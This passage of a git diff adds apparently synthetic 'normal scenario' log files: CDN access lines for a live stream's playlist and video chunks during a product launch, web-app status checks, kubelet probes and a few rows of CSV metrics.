/live/stream.m3u8 HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.81.76 - - [03/Jul/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.90.73 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.90.73 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 stream-service[8888]: INFO: Current viewers: 50000. +Jul 03 10:02:30 stream-service[8888]: INFO: Live stream 'product-launch-2025' has started. +Jul 03 10:02:30 systemd[1]: Starting daily health check... +Jul 03 10:02:35 cdn-access[4567]: 192.168.115.97 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.121.17 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.125.64 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.125.64 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.125.64 - - [03/Jul/2025:10:02:35 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.128.181 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.128.181 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.129.27 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.142.104 - - [03/Jul/2025:10:02:35 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.145.78 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.145.78 - - [03/Jul/2025:10:02:35 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.15.170 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.164.191 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.173.237 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.18.98 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.201.120 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.211.54 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.219.35 - - [03/Jul/2025:10:02:35 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.223.14 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.237.242 - - [03/Jul/2025:10:02:35 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.238.243 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.238.243 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.245.188 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.39.212 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.57.12 - - [03/Jul/2025:10:02:35 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.74.35 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.81.147 - - [03/Jul/2025:10:02:35 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.81.76 - - [03/Jul/2025:10:02:35 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:02:35 cdn-access[4567]: 192.168.96.44 - - [03/Jul/2025:10:02:35 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.10.44 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.125.64 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.125.64 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.129.27 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.129.27 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.129.27 - - [03/Jul/2025:10:02:40 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.163.135 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.173.237 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.189.199 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.189.199 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.211.54 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.211.54 - - [03/Jul/2025:10:02:40 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.219.35 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.221.203 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.23.170 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.235.236 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.235.236 - - [03/Jul/2025:10:02:40 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.238.243 - - [03/Jul/2025:10:02:40 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.238.243 - - [03/Jul/2025:10:02:40 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.24.146 - - [03/Jul/2025:10:02:40 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.24.65 - - [03/Jul/2025:10:02:40 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.245.188 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.62.84 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.70.153 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.74.223 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.81.142 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:02:40 cdn-access[4567]: 192.168.90.73 - - [03/Jul/2025:10:02:40 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.121.17 - - [03/Jul/2025:10:02:45 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.121.17 - - [03/Jul/2025:10:02:45 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.125.64 - - [03/Jul/2025:10:02:45 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.125.64 - - [03/Jul/2025:10:02:45 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.129.27 - - [03/Jul/2025:10:02:45 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.15.170 - - [03/Jul/2025:10:02:45 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.173.237 - - [03/Jul/2025:10:02:45 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.175.138 - - [03/Jul/2025:10:02:45 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.18.98 - - [03/Jul/2025:10:02:45 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:02:45 cdn-access[4567]: 192.168.189.199 - - [03/Jul/2025:10:02:45 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 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[03/Jul/2025:10:06:10 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.170.35 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.18.98 - - [03/Jul/2025:10:06:10 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.201.120 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.207.78 - - [03/Jul/2025:10:06:10 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.211.54 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.235.236 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.237.242 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.238.243 - - [03/Jul/2025:10:06:10 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.24.65 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.24.65 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.46.138 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.55.178 - - [03/Jul/2025:10:06:10 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.62.84 - - [03/Jul/2025:10:06:10 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.74.223 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.74.223 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.81.142 - - [03/Jul/2025:10:06:10 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:10 cdn-access[4567]: 192.168.96.44 - - [03/Jul/2025:10:06:10 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.10.44 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.10.44 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.10.44 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.119.250 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.119.250 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.121.17 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.129.27 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.142.104 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.145.78 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.145.78 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.173.237 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.175.138 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.18.98 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.18.98 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.189.199 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.201.120 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.211.54 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.22.105 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.235.236 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.237.242 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.238.243 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.245.188 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.39.212 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.74.223 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.74.223 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.74.76 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.81.142 - - [03/Jul/2025:10:06:15 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.90.73 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 cdn-access[4567]: 192.168.91.166 - - [03/Jul/2025:10:06:15 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 10:06:15 systemd[1]: Starting daily health check... +Jul 03 10:06:20 cdn-access[4567]: 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192.168.18.184 - - [03/Jul/2025:10:06:20 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.189.199 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.207.78 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.219.35 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.229.242 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.235.236 - - [03/Jul/2025:10:06:20 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.235.236 - - [03/Jul/2025:10:06:20 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.238.243 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.238.243 - - [03/Jul/2025:10:06:20 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.24.65 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.57.12 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.62.84 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.74.35 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.74.35 - - [03/Jul/2025:10:06:20 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.81.147 - - [03/Jul/2025:10:06:20 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 4096 +Jul 03 10:06:20 cdn-access[4567]: 192.168.91.166 - - [03/Jul/2025:10:06:20 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 4096 +Jul 03 10:06:25 cdn-access[4567]: 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+2025-08-22T10:07:10Z,94.53958771668687,77.126047721826,15.094181660686758,1.1600382781439365,279.0174346667291 +2025-08-22T10:07:15Z,76.46595932846974,67.81520000151035,17.24085603918677,1.9449131974914673,326.5583916606245 +2025-08-22T10:07:20Z,82.88701951317957,71.96239146578979,16.58571520083395,1.214247175892626,305.45731553576303 +2025-08-22T10:07:25Z,82.8919629676037,75.54729334830374,22.69215157613273,1.182205287824428,313.0605096731032 diff --git a/norm_dataset/scenario_7/norm_7_14.log b/norm_dataset/scenario_7/norm_7_14.log new file mode 100644 index 0000000000000000000000000000000000000000..00190f048b38e786839c37f245bc4bd7999ca3f6 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_14.log @@ -0,0 +1,616 @@ +Aug 22 10:00:00 systemd[1]: Starting daily user cleanup... +Aug 22 10:00:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:00:20 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:00:35 systemd[1]: Starting daily user cleanup... +Aug 22 10:00:40 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:01:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:01:10 systemd[1]: Starting daily user cleanup... +Aug 22 10:01:20 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:01:40 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:01:45 systemd[1]: Starting daily user cleanup... +Aug 22 10:02:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:02:20 systemd[1]: Starting daily user cleanup... +Aug 22 10:02:20 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 10:02:30 cdn-edge[7890]: 192.168.1.100 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:30 cdn-edge[7890]: 192.168.208.53 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:30 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 22 10:02:30 web-app[3456]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:02:31 cdn-edge[7890]: 192.168.150.1 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:32 cdn-edge[7890]: 192.168.212.202 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:34 cdn-edge[7890]: 192.168.253.114 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:34 cdn-edge[7890]: 192.168.51.240 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:35 cdn-edge[7890]: 192.168.24.186 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:36 cdn-edge[7890]: 192.168.246.60 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:37 cdn-edge[7890]: 192.168.127.107 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:37 cdn-edge[7890]: 192.168.233.25 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:37 cdn-edge[7890]: 192.168.243.200 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:38 cdn-edge[7890]: 192.168.210.50 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:39 cdn-edge[7890]: 192.168.165.178 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:40 web-app[3456]: INFO: Current viewers: 50,000. +Aug 22 10:02:41 cdn-edge[7890]: 192.168.62.48 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:42 cdn-edge[7890]: 192.168.140.79 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:42 cdn-edge[7890]: 192.168.151.60 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:42 cdn-edge[7890]: 192.168.18.225 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:43 cdn-edge[7890]: 192.168.220.219 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:44 cdn-edge[7890]: 192.168.244.169 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:45 cdn-edge[7890]: 192.168.161.63 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:45 cdn-edge[7890]: 192.168.19.102 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:45 cdn-edge[7890]: 192.168.218.80 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:45 cdn-edge[7890]: 192.168.78.14 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:46 cdn-edge[7890]: 192.168.125.13 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:46 cdn-edge[7890]: 192.168.158.78 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:46 cdn-edge[7890]: 192.168.26.222 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:46 cdn-edge[7890]: 192.168.63.80 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:47 cdn-edge[7890]: 192.168.250.162 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:48 cdn-edge[7890]: 192.168.174.16 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:48 cdn-edge[7890]: 192.168.228.13 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:50 cdn-edge[7890]: 192.168.124.181 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:50 cdn-edge[7890]: 192.168.62.254 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:50 cdn-edge[7890]: 192.168.97.232 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:51 cdn-edge[7890]: 192.168.156.176 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:51 cdn-edge[7890]: 192.168.173.152 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:51 cdn-edge[7890]: 192.168.174.196 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:51 cdn-edge[7890]: 192.168.246.16 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:52 cdn-edge[7890]: 192.168.195.126 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:52 cdn-edge[7890]: 192.168.49.232 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:52 cdn-edge[7890]: 192.168.66.60 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:53 cdn-edge[7890]: 192.168.237.114 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:53 cdn-edge[7890]: 192.168.248.110 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:53 cdn-edge[7890]: 192.168.77.167 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:55 cdn-edge[7890]: 192.168.219.19 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:55 cdn-edge[7890]: 192.168.245.86 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:55 cdn-edge[7890]: 192.168.26.238 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:56 cdn-edge[7890]: 192.168.176.247 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:56 cdn-edge[7890]: 192.168.234.27 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:56 cdn-edge[7890]: 192.168.73.72 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:57 cdn-edge[7890]: 192.168.113.34 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:57 cdn-edge[7890]: 192.168.202.173 GET /live/stream.m3u8 HTTP/1.1 206 +Aug 22 10:02:57 cdn-edge[7890]: 192.168.237.33 GET /live/stream.m3u8 HTTP/1.1 200 +Aug 22 10:02:59 cdn-edge[7890]: 